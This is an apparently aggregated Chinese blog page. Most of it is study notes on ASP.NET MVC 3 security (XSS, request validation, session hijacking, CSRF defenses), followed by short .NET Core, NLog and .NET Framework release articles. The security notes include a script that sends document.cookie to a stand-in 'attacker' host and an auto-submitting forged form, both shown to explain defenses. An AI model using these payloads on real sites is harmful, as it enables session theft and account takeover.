Tip：有时需要允许用户提供或编辑HTML标签来让其他的用户看到，例如在CMS系统里面，我们不得发布用户提供的数据，为了保持用户数据的原始性不能对数据进行编码，这已经造成了内住的危险性。能够缓和这个危险发生的方式就是严格地过滤：使用HTML Agility Pack这样的HTML解析器来确保用户提交的HTML只包含程序允许的标签，CSS等等。HMTL过滤很容易出错，因为恶意脚本能够嵌入在看似没有危害的地方（如CSS或<img>标签的src属性里面），要了解更多关于脚本隐藏的内容可以看这里。

请求验证(Request Validation)

抵御攻击的第二道防线就是ASP.NET平台提供的请求验证功能，目的就是为了阻止潜在的危险数据到达应用程序。如果用户试图提交类似HTML的数据，ASP.NET会抛出一个异常。这是发生在请求传递到MVC框架之前，所以程序不会接收到这些数据。请求验证听上去好像比实际的更加有用，它的确能够阻止攻击，但也产生了许多错误的报警，这样可能会让用户感到困惑。这是因为请求验证会拒绝任何类似HTML标签的数据，并且包含了经过验证的数据。例如，请求验证功能会拒绝一个完全经过验证的字符串，
如"I''m writing C# code with generics, e.g., List<string>"并且因为这里的请求始终没有到达MVC应用程序，所以，我们也不能提供相应的指示来帮助用户避免错误。

注：我们会发现请求验证的最大的问题就是会造成很多错误的安全感知信息，开发者依靠请求验证，但是由于产生的错误信息会让用户感到困惑，所以经常在实际的生产中会禁用这个功能。

禁用请求验证(Disabling Request Validation)

有三种方式来禁用，第一种方式：在Model里面对属性使用AllowHtml特性，如下：

using System.ComponentModel.DataAnnotations;
using System.Web.Mvc;

namespace SecurityAndVulnerability.Models
{
    public class Appointment
    {
        [AllowHtml]
        public string ClientName { get; set; }

        [DataType(DataType.Date)]
        public DateTime Date { get; set; }

        public bool TermsAccepted { get; set; }
    }
}

上面展示了应用到属性上的特性AllowHtml，这里的对ClientName禁用了请求验证，因此对所有的action和controller都会生效。第二种方式：对controller使用ValidateInput特性，如下：

    [ValidateInput(false)]
    public class AppointmentController : Controller
    {
        public ViewResult MakeBooking()
        {
            return View(new Appointment { Date = DateTime.Now });
        }
.....

上面对整个controller禁用了请求验证功能，当然还可以只对单个的action应用。

javascript字符串编码与XSS(JavaScript String Encoding and XSS)

有时，我们可能想在javascript代码块中间呈现用户提交的数据。这样做可能有点复杂，因为javascript和HTML展示文本的方式是不同的。下面是在脚本中包含了用户数据的：

View Code

js脚本获取了一个用户发送给action方法的值并且使用这个值作为查询项，查询Google。Razor会自动编码用户提交的数据，这样执行非常好，可以阻止XSS攻击。但是如果用户提供的值有特殊字符，如我们查询".NET Apress"，如下：

接着把.NET用双引号引起，如下：

javascript不能识别引号，而是用&quot代替了，这样返回的结果就会很奇怪。我们不能依靠HTML编码，并且不想在不安全的情况下呈现用户提供的数据。幸运的是，有一种替代的方式，尽管可能看起来不是那么优雅。Ajax辅助类有一个JavaScriptStringEncode方法，能够编码一个字符串让其安全的展示并且避开了特殊字符以至于javascript能够理解。修改Search视图里面的一行如下：

<script type="text/javascript">
    $(function () {

        var searchTerm = "@MvcHtmlString.Create(Ajax.JavaScriptStringEncode(Model))";
        //还可以使用@Html.Raw(Ajax.JavaScriptStringEncode(Model))
        //var searchTerm = "@Model";
        $.getJSON("http://ajax.googleapis.com/ajax/services/search/web?callback=?",
            { q: searchTerm, v: "1.0" },
            function (searchResults) {
                $("#results").children().remove();
                $.each(searchResults.responseData.results, function () {
                    $("#results").append($("<li>").html(this.title));
                });
            }
        );
    });
</script>

这时再测试下，效果如下：

达到了我要的效果。注意到，通过Ajax辅助类来生成的结果需要使用MvcHtmlString.Create或Html.Raw方法进行转换，如果不这样做，Razor仍然会对搜索项进行编码，结果回到了我们之前的状态。

Session劫持(Session Hijacking)

如果攻击者能够精心安排一个次成功的XSS攻击，那么接下来通常会控制用户的账户。常用的策略是Session劫持，也被成为cookie窃取。在浏览会话的过程中，ASP.NET通过一个session ID cookie（默认为ASP.NET_SessionId）的方式来识别用户身份。如果我们使用Forms验证，那么会使用第二个cookie（默认为.ASPXAUTH）。如果攻击者能够获取这些cookies，他们就能够在请求中包含这些信息发送到服务器，并模拟了一个我们的用户。这假定了第三方能够读取跟域名相关的cookies，因为现在的浏览器在阻止javascript跨站点访问cookie这方面已经做的非常好了，但是如果攻击者已经能够注入一段脚本到我们的页面，那么就会让浏览器以为这段脚本是我们程序的一部分并且授权它访问session cookies。如果这种情况发生，攻击者就很容易使用cookies跟我们的程序进行通话(phone home)了。如下：
<script>
   var img = document.createElement("IMG");
   img.src = "http://attacker/receiveData?cookies=" + encodeURI(document.cookie);
   document.body.appendChild(img);
</script>

无论我们多么小心的避免XSS漏洞，也不能全部考虑到。所以需要添加额外的防护来抵御session劫持。

客户端IP检查(Defense via Client IP Address Checks)

如果在Session启动的时候记录每一个客户端的IP地址，这样就可以拒绝任何源头来自不同IP的请求，这对于我们减少session劫持有重大意义。使用这种方式会有一个问题：因为有时在一次会话过程中需要改变客户端IP，用户可能无意中从ISP的连接断开了并且会自动重新连接，这时会赋予一个不同的IP地址。或者是ISP可能是通过一套负载均衡的代理服务器来处理所有的HTTP传输，这样的话，每一个会话请求会显示来自不同的IP地址。所以这种方式非常有局限，只有在客户端IP不变的情况下使用。

在cookies上设置HttpOnly标志(Defense by Setting the HttpOnly Flag on Cookies)

在2002年，微软给IE添加了一个有价值的功能：HttpOnly cookie，从那以后这个功能成为了其他浏览器一个实际的标准。这个想法很简单：声明一个带HttpOnly标志的cookie，浏览器会隐藏它但是仍然会在所有的请求中继续发送。这样可以阻止前面提到的"phone home"XSS漏洞，同时又允许服务器对cookie的跟踪和验证。可以立一个简单的规则：除了在极少数情况下需要在客户端通过javascript访问cookie外，其他都标记为HttpOnly。ASP.NET会默认标记ASP.NET_SessionId和.ASPXAUTH为HttpOnly，这样Forms验证会得到很好的保护。可以这样使用cookie：
Response.Cookies.Add(new HttpCookie("MyCookie")
{
    Value = "my value",
    HttpOnly = true
});
当然这也不是防止cookie劫持的完全方法，因为我们可能在其他不注意的地方暴露cookie的内容。例如，如果我们有一个错误处理页，它展示了用来调试用的HTTP报头，那么XSS能够很容易的由响应页面促使一个错误并且读取cookie的值。

跨站请求伪造(Cross-Site Request Forgery)

由于我们常常把所有的注意力放在了XSS上，所以有时会忘记一个跟XSS具有同等破坏性的攻击：CSRF(跨站请求伪造)。这是一个非常基本和明显的攻击，但也常常被忽视。思考这样一个典型的站点：允许登录用户通过一个UserProfileController的控制器管理他们的个人信息。如下：

View Code

访问者初次访问的是没有参数的Edit()，会在<form>里面展示当前个性化的信息，然后提交给处理POST请求的Edit()并保存到数据库，这里没有XSS漏洞。

攻击(Attack)

看起来好像没什么危害，但是，任何人都可以通过诱导用户访问下面的HTML页来安装一个外部的攻击，如下：
<body onload="document.getElementById(''fm1'').submit()">
    <form id="fm1" action="http://yoursite/UserProfile/Edit" method="post">
        <input name="email" value="hacker@somewhere.evil" />
        <input name="hobby" value="Defacing websites" />
    </form>
</body> 
当这个页面加载时，仅仅是发送一个验证的表单到到处理POST请求的Edit()。假定我们正在使用一些基于cookie的验证系统并且当前的用户有一个经过验证的cookie，他们的浏览器将发送这个请求，我们的服务器也会对这个请求采取相应的动作。现在，受害者的个人邮箱地址已经被攻击掌握了。可能这个例子看起来跟我们没有什么关系，考虑下其他的人通过发起一个HTTP请求可以利用我们程序的什么actions——能够购买一件商品？删除商品？转账汇款？发表文章？等等。

防御(Defense)

有两种策略来防御CSRF攻击：
1.验证HTTP引用的报头：Request.UrlReferrer如果不是我们期望出现的第三方的域名，就可以判断这个是跨站请求。浏览器不一定会发送报头，所以这种方式有时会没用。
2.在敏感的请求里指定必须的具体用户标志(token):如果我们让用户必须在每一个表单填写账户密码话，那么第三方是不能够伪造跨站请求的，但是这样会非常不方便用户的操作。
一个比较好的选择是让服务器生成一个秘密的用户标识并放在隐藏域里面，然后在表单提交的时候检查呈递的token。MVC框架里面已经有了对这个技术的实现：
使用Antiforgery辅助方法(Preventing CSRF Using the Antiforgery Helpers)
我可以结合MVC框架的 Html.AntiForgeryToken()与[ValidateAntiForgeryToken]过滤器来探测和阻止CSRF攻击。在实际表单包含Html.AntiForgeryToken()方法，如下：
@using(Html.BeginForm()) {
    @Html.AntiForgeryToken()
    ..........
}
页面显示为：
<form action="/UserProfile/Edit" method="post" >
    <input name="__RequestVerificationToken" type="hidden" value="B0aG+O+Bi/5..." />
    ..........
</form>
同时Html.AntiForgeryToken()方法会给用户一个名称以__RequestVerificationToken打头的cookie。这个cookie包含与隐藏域相同的随机值，这些值在浏览会话中是不变的。
接着，我们必须通过添加[ValidateAntiForgeryToken]特性来验证提交的表单，如下：
[HttpPost]  
[ValidateAntiForgeryToken]
public ActionResult Edit(string email, string hobby)
{
    // ...
}
[ValidateAntiForgeryToken]是一个授权过滤器，用来检查请求里面的 __RequestVerificationToken的值和cookie的值是否匹配，如果不匹配会抛异常并阻止请求。这种方式可以阻止CSRF，因为即使潜在的受害者有一个__RequestVerificationToken的cookie，攻击者也不会知道随机值。并且用户也不会有什么不便，因为这种机制是静默的。
这种方式能够很好的运作，但我们需要知道相关限制：
1.浏览器必须接收cookie   2.必须是POST提交   3.如果有任何XSS漏洞，就很容易被绕过——因为这个漏洞允许攻击给定一个当前的__RequestVerificationToken值，然后再伪造一个POST提交，所以一定要注意XSS漏洞。

SQL注入(SQL Injection)

这部分大家应该比较熟悉了，所以略去。

安全地使用MVC框架(Using the MVC Framework Securely)

到目前为止，我们了解web应用程序常见的安全问题（攻击与防御）。但是还有一些需要我们注意的，就是滥用或误用MVC框架造成的危险。

不要偶然的暴露Action方法(Don’t Expose Action Methods Accidentally)

默认情况下，任何在控制器里面的public方法都是action方法并且依靠路由配置，能够被任何人调用。但这通常是程序员容易忘记的，例如，在下面的控制器，仅仅Change()方法是可以访问的。

View Code

这里将DoPasswordChange()标记为public，开了一个后门，局外人可以调用它来修改任何人的密码。
通常请求下，除非方法作为action方法否则没什么理由将Controller里面的方法设置为public。然而，如果我们想有一个不是action的public方法，可以使用[NonAction]特性，如：
[NonAction]
public void DoPasswordChange(string username, string newpassword) {...}
标记了【NonAction】的地方，MVC不会让它服务任何请求。

不要让模型绑定改变敏感的属性(Don’t Allow Model Binding to Change Sensitive Properties)

当模型绑定填充对象时，默认情况下会把值写到每一个请求对象的属性。例如，如果action方法接收一个Booking对象，Booking有一个int的属性DiscountPercent，那么恶意的访问者可能在URL后附加一个?DiscountPercent=100并获取一个便宜的假期。为了避免这种情况，可以使用[Bind]特性设置一个白名单限制模型绑定填充的属性。如下：
public ActionResult Edit([Bind(Include = "NumAdults, NumChildren")] Booking booking) {...}
同样也可以设置黑名单哈(Exclude)，具体可以参考前面模型绑定的章节。

好了，本章的笔记到这里结束，关于web安全的话题我也不是很了解，非常希望路过的朋友能够留下你们见解。

我只有一件事，就是忘记背后，努力面前的，向着标竿直跑

.NET CORE 读书笔记之与.NET Framework对比

.NET Framework存在的问题

• 它是属于系统级别安装的程序

操作系统内的所有程序共享一个.NET Framework实例，如果其中某一个应用程序需要升级Framework，其他程序也会收到影响

• 它必须安装到操作系统上才能使用，不能和应用程序打包到一起进行独立部署
• ASP.NET与IIS深度耦合
• ASP.NET消耗的资源较多，在运行时有很多不必要的内存和cpu消耗
• 它的很多组件的设置都要求被放到windows级别，导致其无法做到完全自治
• 早期的ASP.NET运行时有很多专门为ASP.NET Web Form编写的代码，而一些其他的Web框架并不需要这些代码，这就导致了诸如MVC和WebApi也只能带着这些代码运行。

.NET CORE优点

• 采用模块化开发

其核心只有很少的文件，除开核心以外的其他模块都需要根据开发程序来进行安装，并且每个模块都可以单独进行升级

• 支持独立部署

可以把.NET CORE 运行时环境和开发程序打包一起部署，不需要服务器上安装.NET CORE运行环境，对容器化部署非常友好

• 运行效率更高

其管道都是可插拔的，可以灵活的配置管道以及管道的运行顺序

• ASP.NET CORE 内置了Kestrel，与IIS解耦
• 其更符合当今的软件设计思想（依赖注入，单元测试）

.NET CORE中不被支持或暂时不被支持的.NET Framework技术

.net framework 4.6 asp.net mvc 使用NLog

NUGET添加NLog和NLog.Config的引用

配置NLog.config

<?xml version="1.0" encoding="utf-8" ?>
<nlog xmlns="http://www.nlog-project.org/schemas/NLog.xsd"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://www.nlog-project.org/schemas/NLog.xsd NLog.xsd"
      autoReload="true"
      throwExceptions="false"
      internalLogLevel="Off" internalLogFile="c:\temp\nlog-internal.log">

  <!--archiveAboveSize以字节为单位，1K位1024字节，1048576表示1M，104857600表示100M-->
  <targets>
    <target xsi:type="File" name="logfile" fileName="/data/logs/${shortdate}.log"
        archiveFileName="/data/logs/${shortdate}.{#####}.txt"
        archiveAboveSize="10485760"
        archiveNumbering="Rolling"
        concurrentWrites="true"
        maxArchiveFiles="5"
        keepFileOpen="false" />
  </targets>

  <rules>
    <!--DEBUG,INFO,WARN,ERROR,FATAL-->
    <logger name="*" minlevel="Debug" writeTo="logfile" />
  </rules>
</nlog>

 添加LogHelper

/// <summary>
    /// NLog辅助类
    /// 创建人：苏本东
    /// 创建时间：2019/3/22 10:49:00 
    /// </summary>
    public class LogHelper
    {
        private static Logger Logger = LogManager.GetCurrentClassLogger();

        #region 普通级别

        /// <summary>
        /// 普通级别
        /// </summary>
        /// <param name="content"></param>
        public static void Info(string content)
        {
            Logger.Info(content);
        }

        /// <summary>
        /// 普通级别
        /// </summary>
        /// <param name="exception"></param>
        /// <param name="content"></param>
        public static void Info(Exception exception, string content)
        {
            Logger.Info(exception, content);
        }

        #endregion

        #region 警告级别

        /// <summary>
        /// 警告级别
        /// </summary>
        /// <param name="content"></param>
        public static void Warn(string content)
        {
            Logger.Warn(content);
        }

        /// <summary>
        /// 警告级别
        /// </summary>
        /// <param name="exception"></param>
        /// <param name="content"></param>
        public static void Warn(Exception exception, string content)
        {
            Logger.Warn(exception, content);
        }

        #endregion

        #region 错误级别

        /// <summary>
        /// 错误级别
        /// </summary>
        /// <param name="content"></param>
        public static void Error(string content)
        {
            Logger.Error(content);
        }

        /// <summary>
        /// 错误级别
        /// </summary>
        /// <param name="exception"></param>
        /// <param name="content"></param>
        public static void Error(Exception exception, string content)
        {
            Logger.Error(exception, content);
        }

        #endregion
    }

使用NLog

public class LogController : Controller
    {
        public ActionResult Index()
        {
            LogHelper.Info("普通信息日志");
            LogHelper.Warn("警告信息日志");
            LogHelper.Error("错误信息日志");
            LogHelper.Info(new Exception("异常发生"), "异常信息");

            return Content("success");
        }
    }

注意：根据我的配置，日志会输出到C盘根目录下，而不是项目根目录下，这点需要注意。

参考网址：https://www.cnblogs.com/kejie/p/6211597.html，上半部分内容。

.NET Framework 4.6.2改进了WPF和安全性

.NET Framework的最新版本提供了若干以WPF和安全性为中心的新特性——包括对ClickOnce部署的应用程序进行了期待已久的改进。早在今年3月底，微软就发布了.NET Framework 4.6.2的预览版本。现在，开发人员可以在自己的项目中使用该版本的新特性了。

对于基础类库（BCL），一个显著的成果是去除了文件名最长260个字符的要求。通常，这是.NET领域开发人员的痛苦之源，4.6.2移除了这一历史限制。这一增强还有另外一项好处，就是开发人员可以选择在针对.NET Framework先前版本开发的应用程序（运行在4.6.2版本上）中加入这一新行为。这意味着，现有的、针对.NET 4开发的应用程序可以在4.6.2上运行而没有MAXPATH限制，只要在应用程序的配置文件中使用一个AppContext开关——无需重新编译。

伴随基础类库的变化，许多开发人员将欣喜地发现，CLR为Visual Studio提供更多有关NullReferenceExceptions的信息奠定了基础。这让调试器可以识别null引用，并把信息分享给开发人员。

通过ClickOnce部署的应用程序可以从新增的客户端证书和TLS 1.1&1.2支持中受益。这意味着，通过ClickOnce分发应用程序现在可以受益于现代加密协议以及它所提供的安全性保证。

4.6.2版本从以下几个方面增强了加密特性：

• 支持X509证书上的FIPS
• 186-3数字签名算法
• 改进类的可用性，提供Elliptic Curve Diffie-Hellman算法
• 支持持久化密钥对称加密
• SignedXml支持SHA-2哈希算法（包括6个新的SHA-2算法）

微软的Stacey Haffner介绍了有关该版本的详细信息。他还提供了一个4.6.2版本的完整变化列表以及API变化比较。微软已经提供了Web安装包、离线安装包和开发者包。那些运行Windows 10并进行了周年更新的开发人员，其系统上已经安装了4.6.2版本。

查看英文原文：.NET Framework 4.6.2 Delivers WPF and Security Improvements

InfoQ

.NET Framework 发布 12 月安全性和质量汇总

.NET Framework 的 2019 年 12 月安全和质量汇总更新现已发布。

据悉，此版本包含以下质量和可靠性方面的改进：

ASP.NET

• 现如今，当 HttpCookie.SameSite 值为 “ None” 时，ASP.NET 将发出 SameSite cookie 标头，以适应即将在 Chrome 中对 SameSite cookie 处理进行的更改。作为此更改的一部分，尽管可以在 web.config 中覆盖这些值，但 FormsAuth 和 SessionState cookie 还是将使用 SameSite =''Lax'' 发出，而不是以前的默认值 ''None''。有关更多信息，请参考在 ASP.NET 中使用 SameSite cookie。

CLR

• 解决一些 ClickOnce 应用程序或使用受限权限集创建默认 AppDomain 的应用程序，可能会观察到应用程序启动或应用程序运行时失败或意外行为的问题。

WPF

• 解决了以下问题：某些 Per-Monitor Aware WPF 应用程序（host System-Aware 或 Unaware child-windows 且在 .NET 4.8 上运行），有时可能会因exceptionSystem.Collections.Generic.KeyNotFoundException 而崩溃。

详情请查看发布公告。

今天关于《Pro ASP.NET MVC 3 Framework》学习笔记之三十三 【安全性】和安全性wpa/wpa2-personal的讲解已经结束，谢谢您的阅读，如果想了解更多关于.NET CORE 读书笔记之与.NET Framework对比、.net framework 4.6 asp.net mvc 使用NLog、.NET Framework 4.6.2改进了WPF和安全性、.NET Framework 发布 12 月安全性和质量汇总的相关知识，请在本站搜索。